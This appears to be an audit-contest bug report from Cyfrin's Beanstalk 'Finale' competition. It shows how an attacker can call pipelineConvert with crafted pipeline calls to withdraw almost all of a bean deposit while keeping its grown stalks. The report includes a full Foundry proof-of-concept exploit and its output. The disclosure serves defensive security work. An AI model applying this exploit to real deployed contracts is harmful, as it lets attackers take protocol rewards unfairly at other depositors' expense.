Beanstalk: The Finale
Beanstalk
DeFiHardhatFoundry
250,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Withdrawing a deposit without losing grown stalks

fyamf

Summary

The grown amount of Stalks from a given deposit is forfeited when the deposit is withdrawn from the Silo. The requirement to forfeit Stalks that have grown over time creates an opportunity cost for leaving the Silo, thereby increasing the stickiness of deposits the longer they stay deposited.

However, a malicious user (attacker) can bypass this limitation. In other words, an attacker can withdraw from the Silo without losing the grown Stalks (those Stalks that grow from the deposit per season (stemTip - stem) * bdv).

Vulnerability Details

The function pipelineConvert allows any type of conversion using a series of pipeline calls. It first withdraws tokens and calculates the amount of grown Stalks and BDV that should be used for conversion. Then, it executes a series of pipeline calls. Finally, it adds tokens with new BDV and the same grown Stalk (if there is no penalty).

function pipelineConvert(
address inputToken,
int96[] calldata stems,
uint256[] calldata amounts,
address outputToken,
AdvancedFarmCall[] calldata advancedFarmCalls
)
external
payable
fundsSafu
nonReentrant
returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
//....
(grownStalk, fromBdv) = LibConvert._withdrawTokens(inputToken, stems, amounts, fromAmount);
​
(toAmount, grownStalk, toBdv) = LibPipelineConvert.executePipelineConvert(
inputToken,
outputToken,
fromAmount,
fromBdv,
grownStalk,
advancedFarmCalls
);
​
toStem = LibConvert._depositTokensForConvert(outputToken, toAmount, toBdv, grownStalk);
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L96-L107

In the function _withdrawTokens, the amount of grown Stalks is calculated using the formula (stemTip - stem) * bdv. It assumes that a.bdvsRemoved[i].toUint128() is going to be removed, so all the grown Stalks associated with this deposit should be kept and not forfeited.

function _withdrawTokens(
address token,
int96[] memory stems,
uint256[] memory amounts,
uint256 maxTokens
) internal returns (uint256, uint256) {
//...
a.stalksRemoved[i] = LibSilo.stalkReward(
stems[i],
germStem.stemTip,
a.bdvsRemoved[i].toUint128()
);
//.....
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibConvert.sol#L481

Then, in the function executePipelineConvert, the beans amount to be removed (taking bean to LP conversion as an example) will be transferred to C.PIPELINE. Afterward, a series of encoded calls provided by the user will be executed. It is expected that these calls will utilize the beans already transferred to C.PIPELINE to add liquidity to the beanETH well, and then the resulting LP tokens will be transferred back to C.PIPELINE. Subsequently, the function transferTokensFromPipeline will treat these LP tokens as toAmount. If there is no penalty, the same grown Stalk will be returned, and the new BDV based on toAmount will be calculated.

function executePipelineConvert(
address inputToken,
address outputToken,
uint256 fromAmount,
uint256 fromBdv,
uint256 initialGrownStalk,
AdvancedFarmCall[] calldata advancedFarmCalls
) external returns (uint256 toAmount, uint256 newGrownStalk, uint256 newBdv) {
//...
IERC20(inputToken).transfer(C.PIPELINE, fromAmount);
executeAdvancedFarmCalls(advancedFarmCalls);
​
​
toAmount = transferTokensFromPipeline(outputToken);
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibPipelineConvert.sol#L37

In the function _depositTokensForConvert, the toBDV and grownStalk calculated in the previous steps will be used to add a new deposit.

function _depositTokensForConvert(
address token,
uint256 amount,
uint256 bdv,
uint256 grownStalk
) internal returns (int96 stem) {
//...
LibSilo.mintActiveStalk(LibTractor._user(), grownStalk);
LibTokenSilo.addDepositToAccount(
LibTractor._user(),
token,
stem,
amount,
bdv,
LibTokenSilo.Transfer.emitTransferSingle
);
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibConvert.sol#L512

Note that in the function executePipelineConvert, when executeAdvancedFarmCalls is called, the flow is as follows:

LibPipelineConvert::executeAdvancedFarmCalls ==> LibFarm::_advancedFarm ==> LibFarm::_farm
```solidity
function _farm(bytes memory data) internal returns (bytes memory result) {
bytes4 selector;
bool success;
assembly {
selector := mload(add(data, 32))
}
address facet = LibFunction.facetForSelector(selector);
(success, result) = facet.delegatecall(data);
LibFunction.checkReturn(success, result);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/LibFarm.sol#L65

So, it is possible to delegate a call to any facet available in the Diamond. If it delegates a call to the function advancedPipes in DepotFact, there is flexibility to invoke any arbitrary address. The flow is as follows:

DepotFacet::advancedPipe ==> Pipeline::advancedPipe ==> Pipeline::_advancedPipe ==> Pipeline::_pipe
function advancedPipe(
AdvancedPipeCall[] calldata pipes,
uint256 value
) external payable fundsSafu noSupplyIncrease returns (bytes[] memory results) {
results = IPipeline(PIPELINE).advancedPipe{value: value}(pipes);
LibEth.refundEth();
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/farm/DepotFacet.sol#L51

function _pipe(
address target,
bytes calldata data,
uint256 value
) private returns (bytes memory result) {
bool success;
(success, result) = target.call{value: value}(data);
LibFunction.checkReturn(success, result);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/pipeline/Pipeline.sol#L71

This provides an attack opportunity where the attacker initiates a convert transaction to convert X amount of beans to LP. However, when _pipe is called, the attacker transfers only a small portion of X to the well to be added as liquidity and transfers the rest directly to themselves. This action results in the protocol assuming that the entire X amount of beans were converted to LP, retaining all the grown stalks associated with the deposit of X amount of beans without forfeiture. In reality, the attacker withdraws a large portion of X amount of beans, allowing them to withdraw almost all X amount of beans (except for some wei) without losing their grown stalks.

The full attack is as follows:

  • Suppose the attacker has deposited 1000e6 bean in Silo in season 1.

  • In season 3, the amount of grown stalk from this deposit is equal to 4_000_000_000 (it is calculated as 2_000_000_000 per season).

  • The attacker would like to withdraw his deposit without losing 4_000_000_000 grown stalks.

  • The attacker calls the function pipelineConvert where the parameter advancedFarmCalls is encoded to execute the function advancedPipe in DepotFacet where the parameter pipes is encoded to execute the following calls in order:

    • calling the contract Bean to transfer 1000e6 - 2 bean from Pipeline to the attacker.

    • calling the contract Bean to approve max from Pipeline to BeanETH well.

    • calling the contract Well to add liquidity 2 bean from Pipeline to BeanETH well.

  • By doing so, 1000e6 beans will be removed from the attacker's deposit. Among that, only 2 beans are converted to the LP, and 1000e6 - 2 will be transferred directly to the attacker (as if 1000e6 - 2 beans are withdrawn from the Silo).

  • During the pipelineConvert function, it calculates that 4_000_000_000 stalks were grown associated with the 1000e6 bean deposit. So, the protocol assumes that this amount of stalks should not be forfeited, and they should be added to the LP deposit. But, in reality, only 2 beans were converted, so if the protocol was implemented properly, it should have kept only those grown stalks associated with 2 bean deposit instead of 1000e6 bean deposit.

  • At the end, the attacker could withdraw 1000e6 - 2 beans from the Silo, while keeping 4_000_000_000 grown stalks.

Test Case

The full foundry test code of the explained scenario above is as follows:

It shows that the attacker's grown stalk before and after converting is equal to 4000000000. It means that although he is converting only 2 beans, all his grown stalks are kept.

Moreover, it shows that the balance of the attacker after the converting is equal to 999999998. It means that the attacker could withdraw 999999998 beans from 1000e6 beans without losing his grown stalks (only losing 2 beans which is negligible as bean has 6 decimals).

function testWithdrawWithoutLosing() public {
// users[1] is the attacker
int96 stem;
uint beanAmountToConvert = 2; // the amount of bean to convert
uint beanAmountToWithdraw = 1000e6 - 2; // the amount of bean to withdraw
​
// manipulate well so we won't have a penalty applied
setDeltaBforWell(int256(beanAmountToConvert), beanEthWell, C.WETH);
​
stem = depositBeanAndPassGermination(beanAmountToConvert + beanAmountToWithdraw, users[1]);
​
console.log("current season: ", bs.season());
​
uint256 attackerBalanceBefore = IERC20(C.BEAN).balanceOf(users[1]);
​
console.log(
"attacker's grownstalk of Bean before convert: ",
bs.grownStalkForDeposit(users[1], C.BEAN, stem)
);
​
​
// do the convert
​
// Create arrays for stem and amount
int96[] memory stems = new int96[](1);
stems[0] = stem;
​
AdvancedFarmCall[] memory beanToLPFarmCalls = createBeanToLPFarmCallsMalicious(
beanAmountToWithdraw,
beanAmountToConvert,
new AdvancedPipeCall[](0)
);
​
uint256[] memory amounts = new uint256[](1);
amounts[0] = beanAmountToConvert + beanAmountToWithdraw;
​
vm.prank(users[1]); // do this as user 1
(int96 toStem,,,,) = convert.pipelineConvert(
C.BEAN, // input token
stems, // stems
amounts, // amount
beanEthWell, // token out
beanToLPFarmCalls // farmData
);
​
console.log("attacker's balance of BEAN after convert: ", IERC20(C.BEAN).balanceOf(users[1]) - attackerBalanceBefore);
console.log(
"attacker's grownstalk of beanEthWell after convert: ",
bs.grownStalkForDeposit(users[1], beanEthWell, toStem)
);
}
​
function createBeanToLPFarmCallsMalicious(
uint256 amountOfBeanTransferredOut,
uint256 amountOfBeanConverted,
AdvancedPipeCall[] memory extraPipeCalls
) internal view returns (AdvancedFarmCall[] memory output) {
// first setup the pipeline calls
​
// setup transfer to myself
bytes memory transferEncoded = abi.encodeWithSelector(
IERC20.transfer.selector,
users[1],
amountOfBeanTransferredOut
);
​
// setup approve max call
bytes memory approveEncoded = abi.encodeWithSelector(
IERC20.approve.selector,
beanEthWell,
MAX_UINT256
);
​
uint256[] memory tokenAmountsIn = new uint256[](2);
tokenAmountsIn[0] = amountOfBeanConverted;
tokenAmountsIn[1] = 0;
​
// encode Add liqudity.
bytes memory addLiquidityEncoded = abi.encodeWithSelector(
IWell.addLiquidity.selector,
tokenAmountsIn, // tokenAmountsIn
0, // min out
C.PIPELINE, // recipient
type(uint256).max // deadline
);
​
// Fabricate advancePipes:
AdvancedPipeCall[] memory advancedPipeCalls = new AdvancedPipeCall[](100);
​
uint256 callCounter = 0;
​
// Action 0: approve the Bean-Eth well to spend pipeline's bean.
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
C.BEAN, // target
transferEncoded, // calldata
abi.encode(0) // clipboard
);
​
// Action 0: approve the Bean-Eth well to spend pipeline's bean.
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
C.BEAN, // target
approveEncoded, // calldata
abi.encode(0) // clipboard
);
​
// Action 2: Add One sided Liquidity into the well.
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
beanEthWell, // target
addLiquidityEncoded, // calldata
abi.encode(0) // clipboard
);
​
// append any extra pipe calls
for (uint j; j < extraPipeCalls.length; j++) {
advancedPipeCalls[callCounter++] = extraPipeCalls[j];
}
​
assembly {
mstore(advancedPipeCalls, callCounter)
}
​
// Encode into a AdvancedFarmCall. NOTE: advancedFarmCall != advancedPipeCall.
// AdvancedFarmCall calls any function on the beanstalk diamond.
// advancedPipe is one of the functions that its calling.
// AdvancedFarmCall cannot call approve/addLiquidity, but can call AdvancedPipe.
// AdvancedPipe can call any arbitrary function.
AdvancedFarmCall[] memory advancedFarmCalls = new AdvancedFarmCall[](1);
​
bytes memory advancedPipeCalldata = abi.encodeWithSelector(
depot.advancedPipe.selector,
advancedPipeCalls,
0
);
​
advancedFarmCalls[0] = AdvancedFarmCall(advancedPipeCalldata, new bytes(0));
return advancedFarmCalls;
}

The output is:

current season: 3
attacker's grownstalk of Bean before convert: 4000000000
attacker's balance of BEAN after convert: 999999998
attacker's grownstalk of beanEthWell after convert: 4000000000

Impact

Bypassing the forfeiture of grown stalks when withdrawing deposits.

Tools Used

Recommendations

One potential solution is to compare toAmount with fromAmount while considering the reserves in the well, to assess whether their ratio is reasonable. A large ratio could indicate a potential for manipulation.

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`pipelineConvert` can be used to withdraw a deposit without losing grown stalks

Appeal created

T1MOH Judge
11 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Bypassing the penalty during converting in direction of unpegging

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.